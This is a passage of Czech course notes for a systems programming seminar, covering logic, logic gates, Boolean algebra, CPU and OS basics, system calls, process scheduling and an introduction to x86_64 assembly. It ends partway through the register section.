Welcome 👋

Vítejte na skriptách pro odborný seminář "Systémové Programování" na SSPŠ. Seminář vyučuje František Hrubý a Samuel Šidlichovský.

Výroková logika

Co je výroková logika

Výroková logika (též propoziční logika) je základní formální systém, který se zabývá studiem pravdivostních hodnot výroků a jejich kombinací pomocí logických operací.

Výrok je tvrzení, o němž má smysl rozhodnout, zda je pravdivé nebo nepravdivé. Každému výroku přiřazujeme právě jednu z hodnot: \[ 0 \quad (\text{false}), \qquad 1 \quad (\text{true}). \]

Množinu všech výroků budeme značit \(P\).

Význam v informatice

Výroková logika má zásadní význam v informatice, zejména v těchto oblastech:

  • návrh a analýza algoritmů (podmínky, větvení),
  • konstrukce a optimalizace digitálních obvodů,
  • formální verifikace programů,
  • databázové dotazy (např. podmínky ve WHERE),
  • umělá inteligence a logické odvozování.

Logické operace

Základní logické spojky umožňují vytvářet složené výroky.

Negace (NOT)

Negace obrací výsledek výroku

\[ \neg p \]

\(P\)\(\neg P\)
01
10

Konjunkce (AND)

Konjunkce je pravdivá v případě že jsou oba výroky pravidvé. \[ P \land Q \]

\(P\)\(Q\)\(P \land Q\)
000
010
100
111

Disjunkce (OR)

Disjunkce je pravdivá v případě že je alespoň jeden z výroků pravdivý.

\[ P \lor Q \]

\(P\)\(Q\)\(P \lor Q\)
000
011
101
111

Implikace (IF–THEN)

Implikace vyjadřuje vzah "if A, then B", kde z pravdivosti prvního výroku vyplývá pravdivost druhého. \[ p \rightarrow q \]

\(p\)\(q\)\(p \rightarrow q\)
001
011
100
111

Ekvivalence (IFF)

Ekvivalence je pravdivá, právě když mají oba výroky stejnou pravdivostní hodnotu. \[ P \leftrightarrow Q \]

\(P\)\(Q\)\(P \leftrightarrow Q\)
001
010
100
111

Složené výroky

Složené výroky vznikají kombinací výroků pomocí logických spojek. Například: \[ \neg (P \land Q) \rightarrow R \]

Pravdivost takového výroku závisí na hodnotách jednotlivých proměnných a lze ji určit pomocí pravdivostní tabulky.

Splnitelný výrok

Výrok, který je pravdivý alespoň pro jedno ohodnocení.

Shrnutí

Výroková logika poskytuje formální nástroje pro práci s pravdivostními hodnotami a jejich kombinacemi a umožňuje přesně definovat význam logických výrazů. Díky jednoduchosti a univerzálnosti tvoří výroková logika základ mnoha oblastí informatiky i matematiky.

Logické brány

Logická brána je základní stavební kámen digitální elektroniky. Je to malý elektronický obvod, který přijímá jeden nebo více binárních vstupů (0 nebo 1, tedy "low" nebo "high" napětí) a produkuje jeden binární výstup podle pevně definovaného pravidla.

Všechno, co dnes počítače dělají — od sčítání čísel přes vykreslování 3D grafiky po spouštění operačního systému — se nakonec redukuje na miliardy logických bran, které spolu velmi rychle komunikují. Procesor s 10 miliardami tranzistorů je v podstatě obří síť logických bran.

Proč binárně?

Digitální elektronika pracuje se dvěma stavy, protože je to nejodolnější proti rušení. Signál buď překročí určitou napěťovou hranici (logická 1), nebo ne (logická 0). Analogové hodnoty "mezi" by bylo mnohem těžší spolehlivě přenášet a zpracovávat.

Konvence značení:

  • 0 = false, low, off (typicky 0 V)
  • 1 = true, high, on (typicky 3,3 V nebo 5 V)

Základní brány

NOT (negace / inverter)

Nejjednodušší brána — má jeden vstup a převrací ho. Z 0 udělá 1 a naopak.

ANOT A
01
10

Zapisuje se jako ¬A, !A, ~A nebo s pruhem nad písmenem ().

AND (logický součin)

Výstup je 1 jen když jsou oba vstupy 1. Jinak je výstup 0.

ABA AND B
000
010
100
111

Zapisuje se jako A ∧ B, A & B, A · B.

Intuice: "platí A a zároveň B".

OR (logický součet)

Výstup je 1, pokud je alespoň jeden vstup 1. Výstup je 0 jen když jsou oba vstupy 0.

ABA OR B
000
011
101
111

Zapisuje se jako A ∨ B, A | B, A + B.

Intuice: "platí A nebo B (nebo obojí)".

XOR (exclusive OR)

Výstup je 1, pokud jsou vstupy různé. Pokud jsou stejné (obě 0 nebo obě 1), výstup je 0.

ABA XOR B
000
011
101
110

Zapisuje se jako A ⊕ B, A ^ B.

Intuice: "platí buď A nebo B, ale ne obojí".

XOR má spoustu praktických využití — od detekce změny bitu, přes kryptografii, až po binární sčítání (viz dál).

NAND (NOT AND)

Opak AND — výstup je 1 vždy, kromě případu, kdy jsou oba vstupy 1.

ABA NAND B
001
011
101
110

NOR (NOT OR)

Opak OR — výstup je 1 jen když jsou oba vstupy 0.

ABA NOR B
001
010
100
110

XNOR (NOT XOR)

Opak XOR — výstup je 1, když jsou vstupy stejné.

ABA XNOR B
001
010
100
111

Užitečná třeba pro porovnávání bitů na rovnost.

Univerzálnost NAND a NOR

Jedna zajímavá vlastnost digitální logiky: NAND a NOR jsou takzvaně funkčně úplné (universal). Znamená to, že pouze z NAND bran (nebo pouze z NOR bran) jde poskládat úplně jakoukoliv logickou funkci.

Ukázka, jak z NAND postavit ostatní brány:

NOT A       =  A NAND A
A AND B     =  (A NAND B) NAND (A NAND B)
A OR B      =  (A NAND A) NAND (B NAND B)

V praxi je to ekonomicky výhodné — továrna vyrábějící čipy se může soustředit na výrobu jednoho typu brány a poskládat z ní cokoliv. Historicky byly celé rodiny logických obvodů (třeba NAND flash paměť) postavené právě na této myšlence.

Kombinace bran — příklad polosčítačka

Ukažme si, jak z bran vznikají užitečné obvody. Polosčítačka (half adder) sčítá dva jednobitové vstupy a vrací dva výstupy: součet (S) a přenos (C, carry).

ABS (součet)C (přenos)
0000
0110
1010
1101

Koukněte na tabulku pozorně:

  • Sloupec S se chová jako XOR (1 když jsou vstupy různé)
  • Sloupec C se chová jako AND (1 jen když jsou oba 1)

Polosčítačku tedy poskládáme ze dvou bran:

A ─┬──[ XOR ]── S
   │    ▲
   │    │
B ─┼────┘
   │
   └──[ AND ]── C
        ▲
        │
B ──────┘

Když tohle rozšíříme na úplnou sčítačku (full adder), která umí přijmout i vstupní přenos z nižšího bitu, a pak jich pospojujeme třeba 64 za sebou, máme 64bitovou sčítačku — přesně to, co dělá instrukce add ve vašem procesoru.

Brány vs. tranzistory

Jak se brány fyzicky realizují? Uvnitř čipu je každá brána poskládaná z tranzistorů — typicky v technologii CMOS (Complementary Metal-Oxide-Semiconductor). Jeden tranzistor funguje jako malý spínač, který propustí proud, když na jeho řídící vstup přivedete napětí.

Orientační počty tranzistorů na bránu v CMOS:

  • NOT: 2 tranzistory
  • NAND / NOR: 4 tranzistory
  • AND / OR: 6 tranzistorů (= NAND/NOR + NOT)
  • XOR / XNOR: typicky 8–12 tranzistorů

Proto jsou NAND a NOR v čipech levnější než AND a OR — a proto je tolik hardwarových návrhů postavených kolem nich.

Boolova algebra

Logické brány přímo odpovídají operacím Boolovy algebry (kterou v 19. století formalizoval matematik George Boole). Pár užitečných identit, které se hodí při zjednodušování obvodů:

A · 0  =  0           A + 0  =  A
A · 1  =  A           A + 1  =  1
A · A  =  A           A + A  =  A
A · A̅  =  0           A + A̅  =  1

A dvě slavné De Morganovy zákony, které umožňují převádět mezi AND a OR přes negaci:

¬(A · B)  =  ¬A + ¬B
¬(A + B)  =  ¬A · ¬B

Zjednodušování logických výrazů je důležité, protože v reálném návrhu čipu každá brána navíc znamená více tranzistorů, více plochy a vyšší spotřebu. Minimalizace boolovských funkcí (Karnaughovy mapy, Quine–McCluskey) je proto základní technika v digitálním designu.

Shrnutí

  • 7 základních bran: NOT, AND, OR, XOR, NAND, NOR, XNOR
  • Každá brána je pravidlo, které mapuje binární vstupy na binární výstup
  • Z NAND (nebo NOR) samotných jde postavit jakýkoliv digitální obvod
  • Kombinacemi bran vznikají sčítačky, multiplexory, registry, paměti — a nakonec celé procesory
  • Pravidla pro zjednodušování obvodů popisuje Boolova algebra

Každý mov, add nebo xor, který jsme viděli v kapitole o assembly, se uvnitř procesoru rozkládá právě na práci stovek milionů těchto bran. Všechno, co počítač dělá, je ve výsledku jen velmi rychlé přepínání tranzistorů podle logických pravidel.

Booleovská algebra

Co je to Booleovská algebra?

Booleovská algebra je matematická struktura, která pracuje s logickými hodnotami a operacemi nad nimi. Základními prvky jsou typicky dvě hodnoty:

\[ 0 \quad (false), \qquad 1 \quad (true) \]

Používá se především v:

  • logice
  • návrhu digitálních obvodů
  • informatice (podmínky, bitové operace)

Formální definice

Booleovská algebra je uspořádaná šestice:

\[ (B, +, \cdot, ', 0, 1) \]

kde:

  • \( B \) je množina
  • \( + \) je operace OR (součet)
  • \( \cdot \) je operace AND (součin)
  • \( ' \) je negace (NOT)
  • \( 0 \) je neutrální prvek pro OR
  • \( 1 \) je neutrální prvek pro AND

Operace

AND (konjunkce)

\[ 1 \cdot 1 = 1, \quad jinak\ 0 \]

OR (disjunkce)

\[ 1 + 0 = 1, \quad 0 + 0 = 0 \]

NOT (negace)

\[ 0' = 1, \quad 1' = 0 \]

Axiomy

Booleovská algebra splňuje následující základní vlastnosti:

Komutativita

Vyjadřují nezávislost výsledku na pořadí operandů:

\[ a + b = b + a \] \[ a \cdot b = b \cdot a \]

Asociativita

Zajišťují, že při opakovaném použití operace nezáleží na způsobu závorkování: \[ a + (b + c) = (a + b) + c \] \[ a \cdot (b \cdot c) = (a \cdot b) \cdot c \]

Distributivita

Umožňují vzájemné „roznášení“ operací: \[ a \cdot (b + c) = (a \cdot b) + (a \cdot c) \] \[ a + (b \cdot c) = (a + b) \cdot (a + c) \]

Identita

Definují neutrální prvky: \[ a + 0 = a \] \[ a \cdot 1 = a \]

Doplněk

Každý prvek má svůj doplněk: \[ a + a' = 1 \] \[ a \cdot a' = 0 \]

De Morganovy zákony

De Morganovy zákony patří mezi nejdůležitější vztahy v Booleovské algebře, protože umožňují transformovat výrazy obsahující negaci.

\[ (a \cdot b)' = a' + b' \]

\[ (a + b)' = a' \cdot b' \]

Principy počítačů – Základy

Tato kapitola shrnuje základní principy fungování počítače. Cílem je vytvořit dostatečný kontext pro pochopení dalších témat (reversing, exploitation, assembly apod.).

Architektura CPU

Procesor je hlavní výpočetní jednotka počítače. Skládá se z několika základních částí:

ALU (Arithmetic Logic Unit)

ALU provádí:

  • aritmetické operace (sčítání, odčítání)
  • logické operace (AND, OR, XOR)

CU (Control Unit)

Řídicí jednotka:

  • načítá instrukce z paměti
  • dekóduje je
  • řídí jejich vykonávání

Registry

Malé, velmi rychlé paměti uvnitř CPU:

  • obsahují aktuální data
  • drží adresy a mezivýsledky

Paměť (RAM vs ROM)

RAM (Random Access Memory)

  • volatilní (po vypnutí se smaže)
  • ukládá běžící programy a data

ROM (Read Only Memory)

  • nevolatilní
  • obsahuje firmware (např. BIOS)

Schéma počítače

Von Neumann architektura

  • program i data ve stejné paměti
  • jednodušší návrh
  • může docházet ke „bottlenecku“ (jedna sběrnice)

Harvard architektura

  • oddělená paměť pro instrukce a data
  • umožňuje paralelní přístup
  • používá se např. v embedded systémech

Dvojková soustava

Počítače pracují v binární (dvojkové) soustavě:

\[ 1010_2 = 10_{10} \]

Každý bit má hodnotu:

\[ 2^0, 2^1, 2^2, ... \]

Šestnáctková soustava

Hexadecimální (základ 16) se používá pro přehlednější zápis:

\[ 0xFF = 255 \]

Převod:

\[ 1111_2 = F_{16} \]

Znaménková vs bezznaménková čísla

Bezznaménková (unsigned)

\[ 0 \text{ až } 2^n - 1 \]

Znaménková (signed, two's complement)

Nejvyšší bit určuje znaménko.

Např. pro 8 bitů:

\[ 11111111 = -1 \]

Floating point (okrajově)

Reálná čísla jsou reprezentována pomocí IEEE 754:

\[ \text{value} = (-1)^s \cdot 1.m \cdot 2^e \]

Používá se:

  • mantisa (m)
  • exponent (e)
  • znaménko (s)

Pro reversing/exploitation není většinou klíčové, ale je dobré vědět, že reprezentace není přesná.

Program a instrukce

Program

Program je posloupnost instrukcí, které CPU vykonává.

Instrukce

Instrukce je základní operace, například:

  • načti data
  • přičti
  • skoč (jump)

Na nízké úrovni jsou instrukce reprezentovány jako binární kód.

Programovací jazyky

Vysokoúrovňové jazyky

Např.:

  • C
  • Python
  • Rust
  • Zig

Abstrakce nad hardwarem.

Nízkourovňové jazyky

  • assembly

Blízko hardware, přímá práce s registry a pamětí.

Shrnutí

  • CPU vykonává instrukce pomocí ALU a CU
  • data jsou uložena v paměti (RAM)
  • programy jsou posloupnosti instrukcí
  • počítače pracují s binárními daty
  • hex je pouze čitelnější reprezentace

Tyto základy jsou nutné pro pochopení toho, jak programy fungují na nízké úrovni.

Co je operační systém

Operační systém (OS) je základní software, který zprostředkovává komunikaci mezi hardwarem počítače a uživatelskými programy. Jeho hlavním úkolem je spravovat systémové prostředky a poskytovat jednotné rozhraní pro jejich využití.

Bez operačního systému by každý program musel přímo ovládat hardware, což by bylo složité, neefektivní a nebezpečné.

Co operační systém dělá

Operační systém zajišťuje zejména:

  • správu procesů (spouštění, plánování, ukončování),
  • správu paměti (alokace a ochrana paměťového prostoru),
  • práci se soubory (souborové systémy),
  • vstup a výstup (komunikace se zařízeními),
  • bezpečnost a izolaci procesů.

Tyto funkce jsou realizovány jádrem systému.

Kernel (jádro systému)

Kernel je centrální část operačního systému, která běží v privilegovaném režimu (tzv. kernel mode). Má plný přístup k hardwaru a zodpovídá za řízení všech klíčových operací.

Hlavní úlohy kernelu

  • přímá komunikace s hardwarem,
  • správa procesů a vláken,
  • správa paměti,
  • obsluha systémových volání,
  • řízení zařízení (přes ovladače).

Kernel funguje jako prostředník: program požádá o operaci (např. otevření souboru) a kernel ji bezpečně provede.

Uživatelské programy běží v tzv. user mode, kde nemají přímý přístup k hardwaru. Kernel běží odděleně v kernel mode.


Moduly kernelu

Moderní operační systémy (např. Linux) umožňují rozšiřovat kernel pomocí modulů (kernel modules).

Modul je část kódu, kterou lze:

  • dynamicky načíst do běžícího kernelu,
  • používat bez nutnosti restartu systému,
  • případně odebrat za běhu.

K čemu se moduly používají

Nejčastěji slouží jako:

  • ovladače zařízení (např. síťové karty, disky),
  • podpora souborových systémů,
  • rozšíření funkcionality kernelu.

Výhody modulárního přístupu

  • flexibilita — není nutné mít vše přímo v jádře,
  • menší jádro — načítají se jen potřebné části,
  • snazší vývoj a testování,
  • bez restartu systému při změnách.

Příklad (Linux)

Načtení modulu:

sudo modprobe <název_modulu>

Výpis načtených modulů:

lsmod

Odebrání modulu:

sudo rmmod <název_modulu>
Poznámka

Nesprávně napsaný modul může způsobit pád celého systému, protože běží v kernel mode a má plný přístup k paměti i hardwaru.

Shrnutí

  • Operační systém spravuje hardware a poskytuje služby programům.
  • Kernel je jeho nejdůležitější část, která běží s plnými právy.
  • Programy komunikují s kernelem pomocí systémových volání.
  • Moduly kernelu umožňují dynamicky rozšiřovat funkcionalitu systému bez restartu.

Kernel lze chápat jako „řídící centrum“ systému, zatímco moduly jsou jeho rozšiřující komponenty.

Systémová volání

Systémová volání představují základní mechanismus, kterým mohou uživatelské procesy požadovat služby od jádra operačního systému. Program běžící v uživatelském režimu nemá přímý přístup k privilegovaným operacím, jako je práce se soubory, komunikace se zařízeními nebo vytváření nových procesů. Místo toho využívá rozhraní systémových volání.

Proč systémová volání existují

Mnoho operací v počítači je privilegovaných, což znamená, že je nemůže provádět libovolný uživatelský program přímo. Důvodem je především:

  • bezpečnost — proces nesmí svévolně přistupovat do paměti jádra,
  • ochrana dat — proces nesmí nekontrolovaně manipulovat se soubory jiných procesů,
  • stabilita systému — přímý přístup k hardwaru by mohl způsobit pád systému,
  • řízení prostředků — operační systém musí rozhodovat, kdo a jak může využívat zařízení, procesor nebo paměť.

Systémová volání tedy tvoří kontrolované rozhraní mezi uživatelským programem a jádrem.

Jak systémové volání funguje

Při provedení systémového volání dojde ke krátkému přechodu z uživatelského režimu do režimu jádra. Proces předá jádru požadavek, například „otevři tento soubor“ nebo „zapiš tato data na výstup“. Jádro požadavek provede a vrátí výsledek zpět programu.

Z pohledu programátora se systémové volání často jeví jako obyčejná funkce, například open(), read() nebo write(). Ve skutečnosti se však jedná o přechod do chráněné části systému.

Pozorování systémových volání pomocí strace

Na unixových systémech lze systémová volání sledovat pomocí nástroje strace. Ten vypisuje, jaká systémová volání program během svého běhu provádí.

Například chceme zobrazit obsah souboru welcome.txt pomocí programu cat:

strace cat welcome.txt

Ukázka zjednodušeného výstupu:

execve("/usr/bin/cat", ["cat", "welcome.txt"], 0x7ffc571b8e98)
...
openat(AT_FDCWD, "welcome.txt", O_RDONLY) = 3
read(3, "Hello Class!\n", 131072) = 13
write(1, "Hello Class!\n", 13) = 13
close(3) = 0
exit_group(0)

Interpretace výpisu

Z uvedeného výstupu lze vyčíst několik důležitých kroků:

  • execve(...) spouští program cat;

  • openat(...) = 3 otevírá soubor welcome.txt pro čtení a vrací deskriptor 3;

  • read(3, ...) = 13 čte 13 bajtů ze souboru označeného deskriptorem 3;

  • write(1, ...) = 13 zapisuje těchto 13 bajtů na standardní výstup, tedy do terminálu;

  • close(3) = 0 uzavírá otevřený soubor;

  • exit_group(0) korektně ukončuje proces.

Nástroj strace je velmi užitečný při ladění programů, zejména když potřebujeme zjistit, proč program neotevře soubor, proč selže přístup k zařízení nebo jak komunikuje s operačním systémem.

File descriptor

Při práci se soubory a vstupně-výstupními kanály se používá pojem file descriptor (deskriptor souboru).

File descriptor je malé celé číslo, kterým proces identifikuje otevřený soubor, rouru, socket nebo jiné I/O rozhraní. Po úspěšném otevření souboru vrací například systémové volání open() právě tento deskriptor.

Ten je následně předáván dalším systémovým voláním, například:

  • read(fd, ...)
  • write(fd, ...)
  • close(fd)

Typické deskriptory

DeskriptorNázevVýznam
0stdinstandardní vstup
1stdoutstandardní výstup
2stderrstandardní chybový výstup
3 a vyššídalší otevřené soubory nebo zařízení

Pokud tedy například open() vrátí hodnotu 3, znamená to, že soubor byl úspěšně otevřen a proces s ním dále pracuje pomocí tohoto deskriptoru.

Čtení souboru

Čtení souboru je typicky tříkrokový proces:

  1. Otevření souboru pomocí open(),
  2. načtení dat pomocí read(),
  3. uzavření souboru pomocí close().

Postup

  • open() otevře soubor a vrátí file descriptor,
  • read() načte data ze souboru do paměťového bufferu,
  • close() uvolní související systémové prostředky.

Příklad v jazyce C

#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>

int main(void) {
    char buffer[128];
    int fd = open("welcome.txt", O_RDONLY);
    if (fd == -1) return 1;

    ssize_t n = read(fd, buffer, sizeof(buffer) - 1);
    if (n >= 0) {
        buffer[n] = '\0';
        printf("%s", buffer);
    }

    close(fd);
    return 0;
}

Vysvětlení příkladu

  • open("welcome.txt", O_RDONLY) otevře soubor pouze pro čtení,
  • návratová hodnota se uloží do proměnné fd,
  • read() načte obsah souboru do pole buffer,
  • na konec načteného textu se přidá znak '\0', aby s daty bylo možné pracovat jako s řetězcem v C,
  • printf() obsah vypíše,
  • close(fd) soubor uzavře.
Poznámka k bezpečnosti a robustnosti

V praxi je vhodné kontrolovat i návratovou hodnotu read() a případně ošetřit situaci, kdy se načte méně dat, než očekáváme, nebo dojde k chybě. U větších souborů je navíc potřeba čtení opakovat ve smyčce.

Zápis do souboru

Zápis do souboru probíhá podobně jako čtení, ale místo read() se používá write().

Typický postup

  1. Otevřít nebo vytvořit soubor pomocí open(),
  2. zapsat data pomocí write(),
  3. uzavřít soubor pomocí close().

Příklad v jazyce C

#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(void) {
    const char *text = "Hello Class!\n";
    int fd = open("output.txt", O_WRONLY | O_CREAT | O_TRUNC, 0644);
    if (fd == -1) return 1;

    write(fd, text, strlen(text));
    close(fd);

    printf("Zapsáno do output.txt: %s", text);
    return 0;
}

Vysvětlení příkladu

Příznaky předané do open() mají následující význam:

  • O_WRONLY — soubor je otevřen pouze pro zápis,
  • O_CREAT — pokud soubor neexistuje, bude vytvořen,
  • O_TRUNC — pokud soubor existuje, jeho původní obsah bude zkrácen na nulovou délku.

Hodnota 0644 určuje přístupová práva nově vytvořeného souboru.

Funkce write() zapisuje bajty do souboru, ale stejně jako u read() je v reálných programech vhodné kontrolovat její návratovou hodnotu.

Vybraná systémová volání v Unixu

Sada systémových volání závisí na konkrétním operačním systému, nicméně v unixových systémech se často setkáváme s následujícími:

SyscallPopisTypické použití
open / openatotevře soubor a vrátí jeho deskriptorotevření souboru pro čtení nebo zápis
readčte data ze souboru nebo zařízenínačtení obsahu souboru
writezapisuje data do souboru nebo na výstupvýpis textu do terminálu
closeuzavře otevřený deskriptoruvolnění prostředků
execvespustí nový programspuštění programu cat
exit / exit_groupukončí proceskorektní ukončení programu

Shrnutí

Systémová volání tvoří základní rozhraní mezi uživatelským programem a operačním systémem. Umožňují bezpečně provádět privilegované operace, které program nemůže vykonávat přímo.

Procesy

Co je proces?

Proces vs Program

Program je statický soubor instrukcí uložený na disku — prostě binárka, která nic nedělá, dokud ji někdo nespustí.

Proces je naproti tomu program v běhu. Když program spustíte, operační systém mu přidělí paměť, registry, otevřené soubory, PID a další zdroje — a vytvoří z něj proces. Jeden program může běžet jako několik nezávislých procesů současně (typicky třeba několik instancí prohlížeče).

Analogie: program je jako recept v kuchařce, proces je vaření podle toho receptu. Stejný recept může vařit více lidí najednou — každý je samostatný "proces".

Proč potřebujeme procesy

Procesy jsou jedním ze základních abstraktních konceptů operačního systému. Bez nich bychom měli několik zásadních problémů:

  • Multitasking — díky procesům může na jednom CPU zdánlivě běžet víc programů najednou. OS mezi nimi rychle přepíná a uživatel má pocit, že všechno běží paralelně.
  • Izolace — každý proces má svůj vlastní paměťový prostor. Jeden proces nemůže jen tak sáhnout do paměti jiného, což zvyšuje bezpečnost i stabilitu. Když jeden spadne, ostatní běží dál.
  • Sdílení zdrojů — OS spravuje, kdo má kdy přístup k CPU, paměti, disku a dalším zdrojům. Procesy se o ně "spravedlivě" (podle pravidel plánovače) dělí.

Stavový diagram procesu

Každý proces se během svého života nachází v některém z několika stavů. Přechody mezi stavy řídí operační systém. Zjednodušený diagram vypadá takto:

                 admitted              scheduler dispatch
     ┌─────┐ ─────────────► ┌───────┐ ─────────────────► ┌─────────┐
     │ new │                │ ready │                    │ running │
     └─────┘                └───────┘ ◄───────────────── └─────────┘
                                ▲         interrupt           │ exit
                                │                             ▼
                                │ I/O or event       ┌────────────┐
                                │ completion         │ terminated │
                                │                    └────────────┘
                            ┌───────┐
                            │ wait  │ ◄── I/O or event wait (z running)
                            └───────┘

V dalších sekcích si projdeme každý stav zvlášť.

new

Proces byl právě vytvořen. Operační systém mu alokuje zdroje a přiděluje PCB (Process Control Block — vysvětlíme později).

ready

Proces je připraven běžet a čeká ve frontě, až ho plánovač vybere a přidělí mu CPU. Má všechno co potřebuje — jen mu chybí procesor.

running

Proces právě vykonává instrukce na procesoru. V jednom okamžiku může být na jednom jádru v tomto stavu jen jeden proces.

Ze stavu running proces odchází buď:

  • dobrovolně — například se rozhodne čekat na I/O, nebo zkrátka skončil
  • nedobrovolně — vyprší mu přidělené časové kvantum a plánovač mu CPU odebere

wait (blocked)

Proces čeká na externí data — typicky na dokončení operace I/O (čtení z disku, síťová odpověď, vstup od uživatele). I kdyby bylo CPU volné, tento proces nemůže běžet, dokud na co čeká nedorazí. Jakmile data dorazí, přesouvá se zpět do stavu ready.

terminated

Proces dokončil svůj běh. Jeho zdroje se uvolňují a PCB se ruší (s drobnou výjimkou tzv. zombie procesů, které ještě čekají, až si rodičovský proces vyzvedne návratový kód).

PCB (Process Control Block)

PCB je blok dat, který uchovává všechny informace o procesu. Operační systém potřebuje vědět, kde se proces nachází, co dělá a co má v registrech, aby ho mohl kdykoliv zastavit a později pokračovat.

Typicky PCB obsahuje:

  • PID (Process ID) — jednoznačný identifikátor procesu
  • PPID (Parent Process ID) — PID rodičovského procesu
  • stav procesu (new, ready, running, …)
  • obsah registrů a program counter
  • informace o paměti procesu
  • seznam otevřených souborů
  • a mnoho dalšího…

V Linuxu je PCB definován jako struktura task_struct, kterou najdete ve zdrojovém kódu jádra:

include/linux/sched.h

PCB — Ukázka

Malou část PCB svého vlastního procesu si můžete zobrazit takto:

cat /proc/self/status

Výstup ukáže informace jako jméno procesu, PID, PPID, stav, využití paměti a další. Je to jen část skutečného PCB — jádro toho o každém procesu eviduje mnohem víc.

Context switch

Context switch (přepínání kontextu) je mechanismus, kterým OS přepíná běh mezi procesy.

Průběh v jednoduchosti:

  1. Proces A běží na CPU.
  2. OS se rozhodne přepnout (vyprší kvantum, vyšší prioritu získá jiný proces, A se zablokuje na I/O…).
  3. OS uloží PCB procesu A — zaznamená aktuální registry, program counter a další stav.
  4. OS načte PCB procesu B — obnoví registry a stav z doby, kdy B naposledy běžel.
  5. Proces B pokračuje v běhu, jako by nikdy nebyl přerušen.

Context switch není zadarmo — trvá nějaký čas a procesor během něj nevykonává užitečnou práci aplikace. Příliš časté přepínání tedy snižuje výkon.

Plánování procesů

Představte si situaci: máme 3 procesy a jedno CPU. Kdo poběží první? A v jakém pořadí?

Odpověď poskytuje plánovač (scheduler) — součást jádra, která rozhoduje, kterému procesu v daný okamžik přidělit procesor. Existuje několik plánovacích algoritmů, pojďme si projít ty nejzákladnější.

FCFS (First Come, First Served) — neboli FIFO

Nejjednodušší možný algoritmus: procesy se zpracovávají v pořadí, v jakém přišly. Kdo dřív přišel, dřív dostane CPU, a běží, dokud neskončí.

Příklad se třemi procesy A, B, C, z nichž každý poběží stejně dlouho (např. 10 jednotek času):

čas:    0         10        20        30
        │    A    │    B    │    C    │

Problém s FCFS

Co když je ale jeden proces mnohem delší než ostatní? FCFS nemá jak ho přerušit.

Představme si, že A potřebuje 100 jednotek času, zatímco B a C jen po 10:

čas:    0                           100   110   120
        │            A              │  B  │  C  │

Procesy B a C musely zbytečně čekat 100 jednotek, i když by samy o sobě byly hotové v mrknutí oka. Tomuhle jevu se říká convoy effect — krátké procesy trčí za jedním dlouhým jako auta za traktorem.

Round Robin

Round Robin problém řeší zavedením časového kvanta. Každý proces dostane pevně dané malé množství času (např. 10 jednotek). Když mu vyprší, OS ho přeruší, zařadí na konec fronty a pustí dalšího v pořadí.

Porovnejme si stejné procesy (každý potřebuje 10 jednotek) přes FIFO a Round Robin s kvantem 10:

FIFO:                          Round Robin (kvantum = 10):
čas: 0    10   20   30         čas: 0    10   20   30
     │ A  │ B  │ C  │               │ A  │ B  │ C  │

V tomto konkrétním případě vyjde výsledek stejně, protože žádný proces nepřekročí své kvantum. Kouzlo Round Robinu se projeví u smíšených délek — dlouhý proces nezablokuje krátké, všichni se střídají a nikdo nečeká příliš dlouho.

Nevýhoda: příliš krátké kvantum vede k častým context switchům, což stojí čas; příliš dlouhé se začne chovat jako FCFS. Volba správné velikosti kvanta je kompromis.


Existuje samozřejmě mnoho dalších plánovacích algoritmů (SJF, SRTF, Priority Scheduling, Multilevel Feedback Queue, CFS v Linuxu…), ty by ale vydaly na samostatnou kapitolu.

Co je Assembler

Assembly (česky též jazyk symbolických adres) je nízkoúrovňový programovací jazyk, který je prakticky přímým textovým zápisem strojových instrukcí dané architektury procesoru. Každý řádek kódu v assembly typicky odpovídá jedné instrukci, kterou procesor přímo vykoná.

Assembler je potom nástroj (překladač), který tento textový kód přeloží na skutečné strojové instrukce — tedy binární podobu, které rozumí procesor.

Proč se učit assembly?

I když dnes většinu kódu píšeme ve vyšších jazycích jako C, Rust nebo Python, znalost assembly je stále užitečná pro:

  • Pochopení, jak počítač skutečně pracuje — co vlastně váš for cyklus dělá pod pokličkou
  • Reverse engineering — analýzu malwaru, crackování, výzkum bezpečnosti
  • Optimalizaci kritického kódu — například kryptografické knihovny, kodeky
  • Psaní operačních systémů a bootloaderů — tam, kde vyšší jazyky ještě nefungují
  • Embedded programování — mikrokontroléry s omezenou pamětí

Různé architektury = různé Assemblery

Tady je důležité si uvědomit jednu klíčovou věc: assembly není jeden jazyk. Každá procesorová architektura má svou vlastní instrukční sadu (ISA — Instruction Set Architecture), a tedy i svůj vlastní dialekt assembly.

Mezi nejznámější patří:

x86 / x86_64

Architektura od Intelu a AMD, kterou najdete ve většině stolních počítačů a notebooků. x86 je 32bitová verze, x86_64 (neboli amd64) je 64bitová moderní varianta. Má CISC architekturu — hodně instrukcí, některé i složité.

ARM / ARM64 (AArch64)

Dominuje v mobilních zařízeních, používá ji Apple Silicon (M1, M2, M3...), Raspberry Pi a mnoho serverů. Je to RISC architektura — méně instrukcí, ale jednodušších a rychlejších.

RISC-V

Moderní open-source architektura, která se používá ve výzkumu i rostoucím množství komerčních čipů. Také RISC.

Další

Existují i MIPS, PowerPC, SPARC, AVR (Arduino), a historicky třeba 6502 (NES, Commodore 64) nebo Z80 (ZX Spectrum).

Syntaxe: Intel vs. AT&T

I pro stejnou architekturu (například x86_64) existují dvě rozdílné syntaxe, jak instrukce zapisovat:

  • Intel syntaxe — přehlednější, běžná na Windows, používá ji assembler NASM:

    mov rax, 60
    
  • AT&T syntaxe — výchozí na Linuxu u nástrojů jako GAS (GNU Assembler), registry s %, operandy opačně:

    movq $60, %rax
    

V této knize budeme používat Intel syntaxi s assemblerem NASM, protože je čitelnější a na Linuxu snadno dostupná.


V další kapitole se podíváme na základy x86_64 — registry, instrukce a syscally.

Základy x86_64

V této kapitole si projdeme základní stavební kameny programování v x86_64 assembly: registry, základní instrukce a syscally (systémová volání).

Registry

Registr je malá paměť přímo v procesoru, která drží data, se kterými právě pracujete. Práce s registry je extrémně rychlá — mnohem rychlejší než práce s hlavní pamětí (RAM).

V x86_64 máme 16 základních obecných 64bitových registrů:

64-bit32-bit16-bit8-bitTypické použití
raxeaxaxalAkumulátor, návratová hodnota funkcí
rbxebxbxblBase register (volně použitelný)
rcxecxcxclCounter, 4. argument syscallu
rdxedxdxdlData, 3. argument syscallu
rsiesisisilSource index, 2. argument syscallu
rdiedididilDestination index, 1. argument syscallu
rbpebpbpbplBase pointer (rámec zásobníku)
rspespspsplStack pointer (vrchol zásobníku)
r8r15r8dr15dr8wr15wr8br15bObecné registry (r10 = 4. arg syscallu)

Jak to s těmi velikostmi funguje?

